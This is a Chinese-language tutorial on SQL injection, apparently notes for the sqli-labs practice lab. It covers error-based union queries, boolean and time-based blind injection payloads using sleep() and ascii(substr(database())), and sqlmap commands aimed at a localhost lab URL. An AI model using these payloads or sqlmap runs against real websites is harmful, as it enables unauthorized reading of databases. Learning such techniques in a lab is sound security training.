![](https://img.kancloud.cn/41/e0/41e066af9a6c25a24868d9667253ec98_1241x333.jpg)
*****
## SQL注入
### GET和POST请求
GET提交,请求的数据会附在URL之后(就是把数据放置在HTTP协议头中),以?分割URL 和传输数据,多个参数用&连接
<br>POST提交:把提交的数据放置在是HTTP包的包体中。
<br>因此,GET提交的数据会在地址栏中显示出来,而POST提交,地址栏不会改变
### get基于报错的SQL注入
通过url中修改对应的ID值,为正常数字、字符(单引号,双引号,括号)、反斜线来探测url中是 否存在注入点
### get基于报错的SQL注入利用
1.order by判断字段数
2.利用union select联合查询,获取表名
3.利用union select联合查询,获取字段名
4.利用union select联合查询,获取字段值
### 盲注介绍
Blind SQL(盲注)是注入攻击的其中一种,向数据库发生true或false这样的问题,并根据应用程 序返回的信息判断结果。这种攻击的出现是因为应用程序配置为只显示常规错误,但并没有 解决SQL注入存在的代码问题
### 盲注种类
1.布尔类型
2.时间的盲注
### GET基于时间的盲注
```
if(ascii(substr(database(),1,1))=115,1,sleep(3))
```
当数据库名第一个字母的ASCII码等于115时,执行一次sleep(3)函数等待3秒
### GET基于Boolean的盲注
基于布尔的盲注,我们通常采用下面的办法猜解字符串
<table>
<thead>
<tr>
<th>SQL语句</th>
<th>显示状态</th>
<th>说明状态</th>
</tr>
</thead>
<tbody>
<tr>
<td>((select length(database()))>5)</td>
<td>正常</td>
<td>true</td>
</tr>
<tr>
<td>((select length(database()))>10)</td>
<td>无显示</td>
<td>false</td>
</tr>
<tr>
<td>((select length(database()))>7)</td>
<td>正常</td>
<td>true</td>
</tr>
<tr>
<td>((select length(database()))>8)</td>
<td>无显示</td>
<td>false</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>SQL语句</th>
<th>显示状态</th>
<th>说明状态</th>
</tr>
</thead>
<tbody>
<tr>
<td>((select ascii(substr(database(),1,1)))>75)</td>
<td>正常</td>
<td>true</td>
</tr>
<tr>
<td>((select ascii(substr(database(),1,1)))>100)</td>
<td>正常</td>
<td>true</td>
</tr>
<tr>
<td>((select ascii(substr(database(),1,1)))>113)</td>
<td>正常</td>
<td>true</td>
</tr>
<tr>
<td>((select ascii(substr(database(),1,1)))>119)</td>
<td>无显示</td>
<td>false</td>
</tr>
<tr>
<td>((select ascii(substr(database(),1,1)))>116)</td>
<td>无显示</td>
<td>false</td>
</tr>
<tr>
<td>((select ascii(substr(database(),1,1)))>114)</td>
<td>正常</td>
<td>true</td>
</tr>
<tr>
<td>((select ascii(substr(database(),1,1)))>115)</td>
<td>无显示</td>
<td>false</td>
</tr>
</tbody>
</table>
```
select length(database());
select substr(database(),1,1);
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1)) > N;
select ascii(substr(database(),1,1)) = N;
select ascii(substr(database(),1,1)) < N;
```
### sqlmap安全测试
```
python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique T --dbs
```
### POST基于错误的注入
特点:
1.POST请求不能被缓存下来
2.POST请求不会保存在浏览器浏览记录中
3.以POST请求的URL无法保存为浏览器书签
4.POST请求没有长度限制
### POST基于错误单引号注入
注入点位置发生了变化,在浏览器中已经无法直接进行查看与修改。可以借助对应的插件完 成修改任务
### POST基于错误双引号注入
注入点位置发生了变化,在浏览器中已经无法直接进行查看与修改。可以借助对应的插件完 成修改任务
### sqlmap安全测试
```
python sqlmap.py -r target.txt -p passwd --technique E
```
targer.txt文件中是当前网址的请求,加上发送的参数
### POST基于时间的盲注
在存在注入点POST提交的参数后加
```
and (select (if(length(database())>5,sleep(5),null))) --
```
如果执行的页面响应时间大于5秒,肯定就存在注入,并且对应的SQL语句执行
### POST基于布尔的盲注
在存在注入点POST提交的参数后加入if判断语句
```
select length(database());
select substr(database(),1,1);
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1)) > N;
select ascii(substr(database(),1,1)) = N;
select ascii(substr(database(),1,1)) < N;
```